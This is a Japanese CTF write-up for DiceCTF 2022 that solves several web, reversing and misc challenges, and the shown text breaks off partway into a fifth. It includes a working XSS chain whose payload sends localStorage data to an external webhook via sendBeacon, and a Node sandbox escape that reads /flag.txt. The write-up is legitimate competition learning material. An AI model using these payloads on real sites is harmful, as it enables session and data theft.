DiceCTF 2022 Writeup

DiceCTF 2022(2022年2月5日06:00~2022年2月7日06:00 JST)にチームKUDoSとして参加しました。順位は全体で28位でした。

knock-knock (Web, 107pts)

サーバー側のコードは次のようになっています。

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

ノートを作成するとサーバー側で付与されたidを元にHMACでtokenを生成するようになっており、作成したノートにアクセスする際にはこのtokenを検証してノートの内容を表示するようになっています。

また、flagはサーバー起動時にノートとして追加されることが分かります。idはこれまでに作成されたノートの数に基づいて付与されるのでflagが書かれたノートのidは0が付与されています。

次に、tokenの生成方法を見てみます。

generateToken(id) {
  return crypto
    .createHmac('sha256', this.secret)
    .update(id.toString())
    .digest('hex');
}

this.secret は次のようにして設定されています。

this.secret = `secret-${crypto.randomUUID}`;

一見、this.secretcrypto.randomUUIDを利用して生成されているので、推測できないように見えますが、よく見てみると関数呼び出しに必要な()が付いていません。 よって、this.secretには実際には推測不可能な値ではなく、関数を文字列化したものを含む固定値が付与されています。

以上からtokenが推測できるようになったので、flagが書かれたノートを表示することができます。

flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

flagle (Rev, 120pts)

wordle風のflag当てゲームです。本家とは違い、1つの枠に5文字まで入力できるようになっています。GUESSボタンをクリックして、一致部分を緑で表示するのは本家と一緒です。flagとの一致を判定する部分のロジックはWebAssemblyになっています。

f:id:nntomoya:20220207162729p:plain
問題リンクのWebページ

ChromeのDev Toolsを利用し、WASMファイルの逆アセンブル結果を表示して解析を進めます。

WebAssemblyでguessという関数が宣言されており、ここがflagの判定部分のようです。ブレークポイントを設定するなどして値を表示しながら挙動を見ていくと、JavaScript側からはWebAssembly内で参照できるメモリを確保して、入力された文字列を格納していることが分かります。

また、guessの呼び出しは、1つの枠に格納されている文字列ごとに行われていることが分かります。つまり、GUESSボタンをクリックすると、6回guessが呼び出されます。1回のguessにつき、1つの枠内の文字列を参照して処理を進めているようです。

guessの最初の部分を見てみます。変数に格納されている値を見ると、global0 には1つの枠に入力した文字列が配置されているメモリ上のアドレスが格納されています。Memory Inspectorを使用して対象のアドレス付近を表示すると、確か入力された文字列が格納されていました。また、blocklabel0内のvar1も同じ値が格納されており、これを引数としてfunc10を呼び出しています。

(func $guess (;9;) (export "guess") (param $var0 i32) (param $var1 i32) (result i32)
    (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32)
    global.get $global0 ;; 入力した文字列が格納されているアドレス
    i32.const 16
    i32.sub
    local.tee $var2
    global.set $global0
    i32.const 2
    local.set $var3
    block $label0
      local.get $var1 ;; 入力した文字列が格納されているアドレス
      call $func10 ;; func10呼び出し
      i32.const 5
      i32.ne
      br_if $label0 ;; 5と一致しなければblockを抜ける
...(省略)

f:id:nntomoya:20220207083112p:plain
Memory Inspectorでの表示

func10の挙動を確認してみると、一番最後の部分で入力された文字列の先頭アドレスと末尾のアドレス+1の差を取って、スタックに積んでいる(返り値)ことが分かります。よって、func10は文字列の長さを取得する関数であると考えられます。実際に入力した文字列の長さを変えてみると、結果が変わることが確認できました。

(func $func10 (param $var0 i32) (result i32)
    (local $var1 i32) (local $var2 i32) (local $var3 i32)
    ... (省略)
    local.get $var1 ;; 入力した文字列の先頭アドレス
    local.get $var0 ;; 入力した文字列の末尾アドレス+1
    i32.sub
)

guess の先頭部分に戻って$func10呼出し後を見てみると、スタック上の値(func10の返り値)を5と比較して、一致しない場合にはblockを抜けるようになっていることが分かります。よって、入力する文字列の長さが5の時に処理を続行できるようです。

続きの部分を見ると、次のようなblockが出現します。var1には文字列へのアドレスが格納されており、この値と1024を引数にとって関数streqを呼び出しています。関数の名前から推測するに、文字列一致を確認する関数のようです。

block $label1
  local.get $var1 ;; 文字列へのアドレス
  i32.const 1024
  call $streq
  i32.eqz
  br_if $label1

  local.get $var0 ;; 何番目の枠の文字列か
  i32.const 1
  i32.ne
  local.set $var3 ;; 一致したかどうかを格納
  br $label0
end $label1

実際に関数streqの中の処理を追うと、引数の1024は、入力文字列との比較対象の文字列が格納されているアドレスとなっています。このアドレス付近を先程同様にMemory Inspectorで確認すると、dice{が格納されていることが分かります。よって、flagの最初の5文字はdice{であることが分かりました。

また、文字列が一致する場合には同じblock内の処理を続行し、そうでない場合はこのblockを抜けます。

同じblock内の続きの処理で使用するvar0には何番目の枠かが格納されています。この値と1を比較して、一致したかどうかの情報をvar3に格納して、blocklabel0を抜けます。このvar3はguessの返り値として利用され、これが入力文字列の判定情報としてJavaScript側で処理されます。

後々判明しますが、上記のような、想定されるflagの部分文字列であるかと、正しい位置の枠であるかを判定するような処理がこの後も続きます。guessは6回呼び出されることで、6枠分それぞれに該当する部分の判定処理が実行されるような構造になっています。

また、1つの枠の判定処理はそれぞれ独立しているので、6枠分の処理に該当する部分それぞれについて解析すれば、flag全体の文字列を知ることができます。

先程のblocklabel1内の処理が、6つの枠のうちの1番目の判定処理だったということになります。

次に2番目の枠の判定処理を見てみます。最初の部分のblocklabel2に至るまでの処理は、入力された文字を一文字ずつ他の箇所に格納するような処理をしています。

blocklabel2内では、先ほど格納された一文字ずつを取り出して一致判定を行っています。取り出す際に、どの文字が取り出されたのかを見ることで、どの位置にどの文字が格納されていれば判定が通るのか知ることができます。2番目の枠はF!3lDであることが分かりました。

blocklabel3内が3番目の枠の判定処理になります。この部分では、ASCIIコード同士の演算結果を利用して判定を行っています。 各演算結果の判定部分ごとに処理を区切ると次のようになります。それぞれ逆算すると、3番目の枠はd0Nu7となりました。

block $label3
  local.get $var1
  i32.load8_s offset=1
  local.tee $var5
  local.get $var1
  i32.load8_s
  local.tee $var3
  i32.mul
  i32.const 4800
  i32.ne ;; <1文字目> * <2文字目> = 4800
  br_if $label3

  local.get $var1
  i32.load8_s offset=2
  local.tee $var6
  local.get $var3
  i32.add
  i32.const 178
  i32.ne ;; <1文字目> + <3文字目> = 178
  br_if $label3

  local.get $var6 ;; input[2][2]
  local.get $var5 ;; inpout[2][1]
  i32.add
  i32.const 126
  i32.ne ;; <2文字目> + <3文字目> = 126
  br_if $label3

  local.get $var6 ;; input[2][2]
  local.get $var1
  i32.load8_s offset=3
  local.tee $var3 ;; var3 = input[2][3]
  i32.mul
  i32.const 9126
  i32.ne ;; <3文字目> * <4文字目> = 9126
  br_if $label3

  local.get $var3 ;; input[2][3]
  local.get $var1
  i32.load8_s offset=4 ;; input[2][4]
  local.tee $var5 ;; var5 = input[2][4]
  i32.sub
  i32.const 62 ;; <4文字目> - <5文字目> = 62
  i32.ne
  br_if $label3

  local.get $var6
  i32.const 4800
  i32.mul
  local.get $var5
  local.get $var3
  i32.mul
  i32.sub
  i32.const 367965
  i32.ne ;; <3文字目> * 4800 - <5文字目> * <4文字目> = 367965
  br_if $label3

  local.get $var0
  i32.const 3
  i32.ne ;; 3番目の枠かどうか
  local.set $var3
  br $label0
end $label3

4番目の枠の判定処理は次のようになっています。

block $label4
  local.get $var1
  call $env.validate_4 ;; env.validate_4呼び出し
  i32.eqz
  br_if $label4

  local.get $var0
  i32.const 4
  i32.ne ;; 4番目の枠かどうか
  local.set $var3
  br $label0
end $label4

env.validate_4を呼び出して判定を行っています。ステップ実行で処理を追うと、env.validate4JavaScript側で実装されていることが分かります。

function validate_4(a){ return c(UTF8ToString(a)) == 0 ? 0 : 1; }

入力文字列を引数としてcで判定処理をしているので、cの実装を見てみます。

function c(b) {
    var e = {
        'HLPDd': function(g, h) {
            return g === h;
        },
        'tIDVT': function(g, h) {
            return g(h);
        },
        'QIMdf': function(g, h) {
            return g - h;
        },
        'FIzyt': 'int',
        'oRXGA': function(g, h) {
            return g << h;
        },
        'AMINk': function(g, h) {
            return g & h;
        }
    }
      , f = current_guess;
    try {
        let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d;
    } catch {
        return 0x1b3c + -0xc9 * 0x2f + -0x19 * -0x63;
    }
}

tryブロックの中の次の処理が難読化されており、この部分がどのような挙動になっているのかを把握する必要がありそうです。

let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d;

関数呼び出しを置き換えたり、数値の演算結果を適用して簡略化すると次のような処理になります。

let g = btoa(intArrayToString(window[b](b[3], 'int')().toString((f&4)<<2).match(/.{2}/g).map(h=>parseInt(h, f*f)))) === 'ZGljZQ==' ? 1 : 0;

まず、全体を見たときに、ZGljZQ==という文字列をbtoa()の実行結果と比較しています。このZGljZQ==diceという文字列をBase64エンコードした結果です。よって、btoa()の引数にはdiceという文字列が入れば良いことがわかります。

全体がintArrayToStringで囲まれているので、.match(/.{2}/g).map(h=>parseInt(h, f*f))の結果は、diceのASCIIコードの配列である[100, 105, 99, 101]となることが予想されます。

.match(/.{2}/g)の部分で文字列を2文字ずつに区切り、.map(h=>parseInt(h, f*f))で区切られた文字をそれぞれ整数に変換しています。つまり、なにかしらの2文字をf*fを基底とした変換をした結果が100105などになることが分かります。fの値はまだ確定していませんが、10進数では3桁の文字列から変換する必要があることから、4となりf*f16進数の文字列表現を整数に変換するものと予想します。

次に、window[b](b[3], 'int')()の部分を見てみます。bには入力文字列が格納されていますが、これをwindowオブジェクトのプロパティ名として参照した結果を関数として呼び出しています。

bは5文字であることがわかっているので、5文字からなるプロパティ名でwindowに設定されている値を探します。ブレークポイントを設定し、次のようにして、この段階におけるwindowオブジェクトの5文字のプロパティ名一覧を取得します。

Object.keys(window).filter(h=>h.length===5)

結果は次のようになりました。

[
    "alert",
    "close",
    "fetch",
    "focus",
    "print",
    "quit_",
    "read_",
    "IDBFS",
    "ABORT",
    "ccall",
    "cwrap",
    "_free",
    "HEAP8",
    "abort"
]

この中から、bに設定した際のwindow[b](b[3], 'int')()の呼び出し結果を見てみると、cwrapのときに1684628325という数字が得られます。

先程予想した4を利用して.toString((f&4)<<2).match(/.{2}/g).map(h=>parseInt(h, f*f))を上記で得られた数字に適用すると、[100, 105, 99, 101]となり、想定される結果と一致しました。よって、f4が正しいことが分かりました。

以上の判定処理の結果、4番目の枠はcwrapとなることが分かりました。ただし、fには試行の回数(GUESSボタンを押して判定をした回数)が入っていますが、4が正しい値であることから、以下の画像のように、正しい文字を入力しても4回目の試行でしか正しいかどうかを判定してくれません。

f:id:nntomoya:20220208162554p:plain
4回目の試行のときに正しいと判定する

次のblocklabel5に至るまでの処理では、文字のコードに対する演算処理を行なった上で、メモリに格納しています。後ほどの5番目の枠の判定処理では、ここで格納された値を利用しています。

local.get $var1
i32.load8_u offset=4
local.set $var7 ;; var7 = <5文字目>

local.get $var1
i32.load8_s offset=3
local.set $var6 ;; var6 = <4文字目>

local.get $var1
i32.load8_s offset=2
local.set $var4 ;; var4 = <3文字目>

local.get $var1
i32.load8_s offset=1
local.set $var5 ;; var5 = <2文字目>

local.get $var2
local.get $var1
i32.load8_s
local.tee $var1
i32.store8 offset=15 ;; var2[15] = <1文字目>

local.get $var2
local.get $var5
i32.store8 offset=14 ;; var2[14] = <2文字目>

local.get $var2
local.get $var4
i32.store8 offset=13 ;; var2[13] = <3文字目>

local.get $var2
local.get $var6
i32.store8 offset=12 ;; var2[12] = <4文字目>

local.get $var2
local.get $var2
i32.load8_u offset=15
i32.const 12
i32.add
i32.store8 offset=15 ;; var2[15] += 12(1文字目)

local.get $var2
local.get $var2
i32.load8_u offset=14
i32.const 4
i32.add
i32.store8 offset=14 ;; var2[14] += 4(2文字目)

local.get $var2
local.get $var2
i32.load8_u offset=13
i32.const 6
i32.add
i32.store8 offset=13 ;; var2[13] += 6(3文字目)

local.get $var2
local.get $var2
i32.load8_u offset=12
i32.const 2
i32.add
i32.store8 offset=12 ;; var2[12] += 2(4文字目)

5番目の枠の判定処理部分は次のようになっています。2番目のときと同じように、メモリに格納された値を取り出して、その結果を特定の値と比較しています。

block $label5
  local.get $var2
  i32.load8_u offset=15
  i32.const 121
  i32.ne ;; var2[15] == 121 (<1文字目> == 109)
  br_if $label5

  local.get $var2
  i32.load8_u offset=14
  i32.const 68
  i32.ne ;; var2[14] == 68 (<2文字目> == 64)
  br_if $label5

  local.get $var2
  i32.load8_u offset=13
  i32.const 126
  i32.ne ;; var2[13] == 126 (<3文字目> == 120)
  br_if $label5

  local.get $var2
  i32.load8_u offset=12
  local.set $var3
  local.get $var7
  i32.const 255
  i32.and
  i32.const 77
  i32.ne ;; <5文字目> == 77
  br_if $label5

  local.get $var3
  i32.const 255
  i32.and
  i32.const 35
  i32.ne ;; var2[12] == 35 (<4文字目> == 33)
  br_if $label5

  local.get $var0
  i32.const 5
  i32.ne ;; 5番目の枠かどうか
  local.set $var3
  br $label0
end $label5

よって、5番目の枠はm@x!Mとなることが分かりました。

6番目の枠は次のようになっています。3番目の枠の判定処理と同様に、主に文字コード同士の四則演算の結果を利用して判定をしています。5483743 = 2969 * 18476431119 = 1597 * 4027であることから、各文字を一意に特定できます。

i32.const 2
local.set $var3
local.get $var5
i32.const 2933
i32.add
local.get $var1
i32.const 1763
i32.add
i32.mul
i32.const 5483743
i32.ne ;; (<2文字目>(36) + 2933) * (<1文字目>(84) + 1763) = 5483743
br_if $label0

local.get $var7
i32.const 255
i32.and
i32.const 125
i32.ne ;; <5文字目> = 125
br_if $label0

local.get $var6
i32.const 1546
i32.add
local.get $var4
i32.const 3913
i32.add
i32.mul
i32.const 6431119
i32.ne ;; (<4文字目>(51) + 1546) * (<3文字目>(114) + 3913) = 6431119
br_if $label0

local.get $var0
i32.const 6
i32.ne ;; 6番目の枠かどうか
local.set $var3

よって、6番目の枠はT$r3}となることが分かりました。

以上、全ての枠をつなぎ合わせることでflagになります。

flag: dice{F!3lDd0Nu7cwrapm@x!MT$r3}

他の方のwriteupをみると、逆コンパイルしてある程度読める形にしてからz3で解く方法もあり、もっと楽に解析ができたようです。

kasimir123.github.io

blazingfast (Web, 140pts)

問題リンクを開くと、入力した文字列を1文字飛ばしで大文字に変換してくれるアプリのようです。処理はすべてブラウザ側のJavaScriptとWebAssemblyで動作しています。

ページのHTMLに埋め込まれているJavaScriptを抜き出すと次のようになっています。

let blazingfast = null;

function mock(str) {
    blazingfast.init(str.length);

    if (str.length >= 1000) return 'Too long!';

    for (let c of str.toUpperCase()) {
        if (c.charCodeAt(0) > 128) return 'Nice try.';
        blazingfast.write(c.charCodeAt(0));
    }

    if (blazingfast.mock() == 1) {
        return 'No XSS for you!';
    } else {
        let mocking = '', buf = blazingfast.read();

        while(buf != 0) {
            mocking += String.fromCharCode(buf);
            buf = blazingfast.read();
        }

        return mocking;
    }
}

function demo(str) {
    document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {  
    blazingfast = instance.exports;

    document.getElementById('demo-submit').onclick = () => {
        demo(document.getElementById('demo').value);
    }

    let query = new URLSearchParams(window.location.search).get('demo');

    if (query) {
        document.getElementById('demo').value = query;
        demo(query);
    }
})

関数demo内にの処理にXSSがあります。

function demo(str) {
    document.getElementById('result').innerHTML = mock(str);
}

関数mock内では、blazingfastに実装された各種関数を呼び出して、文字列の処理を行います。 blazingfastでアクセスできる各種関数はWebAssemblyで実装されており、問題の添付ファイル中に次に示すコンパイル前のソースコードも提供されています。

int length, ptr = 0;
char buf[1000];

void init(int size) {
    length = size;
    ptr = 0;
}

char read() {
    return buf[ptr++];
}

void write(char c) {
    buf[ptr++] = c;
}

int mock() {
    for (int i = 0; i < length; i ++) {
        if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
            buf[i] += 32;
        }

        if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
            return 1;
        }
    }

    ptr = 0;

    return 0;
}

以上から関数mockの処理としては、引数の文字列を大文字に変換した上で、一文字ずつWebAssembly側でメモリに格納した後、一文字おきに小文字に戻す処理を実行し、メモリに書き戻しています。最終的にメモリに書き戻された値をJavaScript側で読み取って関数demo内でDOMに描画しています。また、大文字変換の際にHTMLタグの一部となる<>&"が含まれる場合には、エラーが表示され結果がDOMに描画されず、単純にHTMLタグを入力しただけではXSSは成立しません。

WebAssembly側の変換と判定処理においては、文字列の長さとしてJavaScript側から与えられたstr.lengthを利用していますが、文字列をメモリに格納する際にはstr.toUpperCase()の結果を一文字ずつ格納しています。

ここで、ßという文字をtoUpperCase()で処理すると、SSという2文字になることを利用します。つまり、ßが含まれていることで、<>&"が含まれているかどうかの判定処理を適用する文字長が、入力された文字の長さよりも短くなってしまい、判定処理漏れが出てしまいます。

これを利用して、入力の前半をßを埋め、後半をXSSペイロードにすることで攻撃が成立します。ただし、DOMに描画される結果は大文字となってしまうことに注意する必要があります。

大文字となってしまってペイロードが動かなくなるのを避けるため、できるだけアルファベットを利用しないようにします。JSFuckの手法を応用して、数字と記号だけでペイロードを組み立てます。実行したいコードは、できるだけペイロードが短くなるように、かつ後から実行したいコードが変更になっても構わないように[]["filter"]["constructor"]('eval(name)')()とします。次のようなペイロードとなりました。

_1=!1+'';_2=!0+'';_3=(!0)[0]+'';_4=[][_1[0]+_3[5]+_1[2]+_2[0]+_1[4]+_2[1]];_5=_4+'';_6=_5[3]+_5[6]+_5[2]+_1[3]+_2[0]+_2[1]+_3[0]+_5[3]+_2[0]+_5[6]+_2[1];_4[_6](_1[4]+_5[25]+_1[1]+_1[2]+'('+_3[1]+_1[1]+((+[])[_6]+'')[11]+_2[3]+')')()"

次に、任意の値をwindow.nameに設定できるようにする必要があります。今回の問題では、Admin Botが指定したURLにアクセスしますが、問題のドメイン以下のページのURLしか指定することができません。よって、まず最初にmetaタグによるリダイレクト先で、window.nameを設定して元の問題のドメインにリダイレクトするようにします。

次のような値の前にßを大量に付加した上で、demoをキーとしたクエリに指定して、Admin BotにURLを送信します。HTMLのタグやhttps://example.com/の部分は大文字になっても、小文字の時と同様に動作します。

<meta http-equiv="refresh" content="0;URL=https://example.com/X.HTML">

後は、navigator.sendBeacon("https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a", localStorage.getItem("flag"))window.nameに設定し、先ほど作成したXSSペイロードを実行するページへリダイレクトするような、X.HTMLを作成して設置します。

<!DOCTYPE html>
<html>
<head></head>
<body>
  <script>
    window.name='navigator.sendBeacon("https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a", localStorage.getItem("flag"))'
    location.href="https://blazingfast.mc.ax/?demo=%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%3Cimg%20src%3Dx%20onerror%3D%22_1%3D!1%2B''%3B_2%3D!0%2B''%3B_3%3D(!0)%5B0%5D%2B''%3B_4%3D%5B%5D%5B_1%5B0%5D%2B_3%5B5%5D%2B_1%5B2%5D%2B_2%5B0%5D%2B_1%5B4%5D%2B_2%5B1%5D%5D%3B_5%3D_4%2B''%3B_6%3D_5%5B3%5D%2B_5%5B6%5D%2B_5%5B2%5D%2B_1%5B3%5D%2B_2%5B0%5D%2B_2%5B1%5D%2B_3%5B0%5D%2B_5%5B3%5D%2B_2%5B0%5D%2B_5%5B6%5D%2B_2%5B1%5D%3B_4%5B_6%5D(_1%5B4%5D%2B_5%5B25%5D%2B_1%5B1%5D%2B_1%5B2%5D%2B'('%2B_3%5B1%5D%2B_1%5B1%5D%2B((%2B%5B%5D)%5B_6%5D%2B'')%5B11%5D%2B_2%5B3%5D%2B')')()%22%3E"
  </script>
</body>
</html>

flag: dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

後で見たDiscordで気が付いたのですが、XSSペイロードで上記のような面倒な作成方法をする必要はなく、&#101;のようなHTML Entitiesを使用すればアルファベットの利用を避けることができました。

undefined (Misc, 156pts)

サーバーに送信したJavaScriptのコードをnode.jsで実行してくれます。

サーバー側のコードは次のようになっています。グローバル変数undefinedに設定されたブロック内でコードを実行します。

#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;

Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;

for (const key of Object.getOwnPropertyNames(global)) {
    if (["global", "console", "eval"].includes(key)) {
        continue;
    }
    global[key] = undefined;
    delete global[key];
}

delete global.global;
process = undefined;

{
    let AbortController = undefined;
    let AbortSignal = undefined;
    let AggregateError = undefined;
    let Array = undefined;
    let ArrayBuffer = undefined;
    let Atomics = undefined;
    let BigInt = undefined;
    let BigInt64Array = undefined;
    let BigUint64Array = undefined;
    let Boolean = undefined;
    let Buffer = undefined;
    let DOMException = undefined;
    let DataView = undefined;
    let Date = undefined;
    let Error = undefined;
    let EvalError = undefined;
    let Event = undefined;
    let EventTarget = undefined;
    let FinalizationRegistry = undefined;
    let Float32Array = undefined;
    let Float64Array = undefined;
    let Function = undefined;
    let Infinity = undefined;
    let Int16Array = undefined;
    let Int32Array = undefined;
    let __dirname = undefined;
    let Int8Array = undefined;
    let Intl = undefined;
    let JSON = undefined;
    let Map = undefined;
    let Math = undefined;
    let MessageChannel = undefined;
    let MessageEvent = undefined;
    let MessagePort = undefined;
    let NaN = undefined;
    let Number = undefined;
    let Object = undefined;
    let Promise = undefined;
    let Proxy = undefined;
    let RangeError = undefined;
    let ReferenceError = undefined;
    let Reflect = undefined;
    let RegExp = undefined;
    let Set = undefined;
    let SharedArrayBuffer = undefined;
    let String = undefined;
    let Symbol = undefined;
    let SyntaxError = undefined;
    let TextDecoder = undefined;
    let TextEncoder = undefined;
    let TypeError = undefined;
    let URIError = undefined;
    let URL = undefined;
    let URLSearchParams = undefined;
    let Uint16Array = undefined;
    let Uint32Array = undefined;
    let Uint8Array = undefined;
    let Uint8ClampedArray = undefined;
    let WeakMap = undefined;
    let WeakRef = undefined;
    let WeakSet = undefined;
    let WebAssembly = undefined;
    let _ = undefined;
    let exports = undefined;
    let _error = undefined;
    let assert = undefined;
    let async_hooks = undefined;
    let atob = undefined;
    let btoa = undefined;
    let buffer = undefined;
    let child_process = undefined;
    let clearImmediate = undefined;
    let clearInterval = undefined;
    let clearTimeout = undefined;
    let cluster = undefined;
    let constants = undefined;
    let crypto = undefined;
    let decodeURI = undefined;
    let decodeURIComponent = undefined;
    let dgram = undefined;
    let diagnostics_channel = undefined;
    let dns = undefined;
    let domain = undefined;
    let encodeURI = undefined;
    let encodeURIComponent = undefined;
    let arguments = undefined;
    let escape = undefined;
    let events = undefined;
    let fs = undefined;
    let global = undefined;
    let globalThis = undefined;
    let http = undefined;
    let http2 = undefined;
    let https = undefined;
    let inspector = undefined;
    let isFinite = undefined;
    let isNaN = undefined;
    let module = undefined;
    let net = undefined;
    let os = undefined;
    let parseFloat = undefined;
    let parseInt = undefined;
    let path = undefined;
    let perf_hooks = undefined;
    let performance = undefined;
    let process = undefined;
    let punycode = undefined;
    let querystring = undefined;
    let queueMicrotask = undefined;
    let readline = undefined;
    let repl = undefined;
    let require = undefined;
    let setImmediate = undefined;
    let setInterval = undefined;
    let __filename = undefined;
    let setTimeout = undefined;
    let stream = undefined;
    let string_decoder = undefined;
    let structuredClone = undefined;
    let sys = undefined;
    let timers = undefined;
    let tls = undefined;
    let trace_events = undefined;
    let tty = undefined;
    let unescape = undefined;
    let url = undefined;
    let util = undefined;
    let v8 = undefined;
    let vm = undefined;
    let wasi = undefined;
    let worker_threads = undefined;
    let zlib = undefined;
    let __proto__ = undefined;
    let hasOwnProperty = undefined;
    let isPrototypeOf = undefined;
    let propertyIsEnumerable = undefined;
    let toLocaleString = undefined;
    let toString = undefined;
    let valueOf = undefined;

    console.log(eval(input));
}

しかし、import()が使えてしまうため、次のようなコードを実行すればフラグを取得できました。

import('fs').then(fs => { fs.writeSync(1, fs.readFileSync('/flag.txt')) })

作者によると、やはり上記は非想定解だったようで、想定解はargumentsからrequireにアクセスする方法でした。

hackmd.io

sober-bishop (Misc, 188pts)

以下のような内容の2つのテキストファイルが与えられます。OpenSSLを使ってSSHの鍵を生成するときなどに表示される文字アートです。記載されている説明を見るに、上がフラグの文字列から生成されたもの、下がフラグのmd5ハッシュから生成されたもののようです。

+----[THIS IS]----+
|          o  o+++|
|         + . .=*E|
|        B . . oo=|
|       = . .  .+ |
|        S        |
|                 |
|                 |
|                 |
|                 |
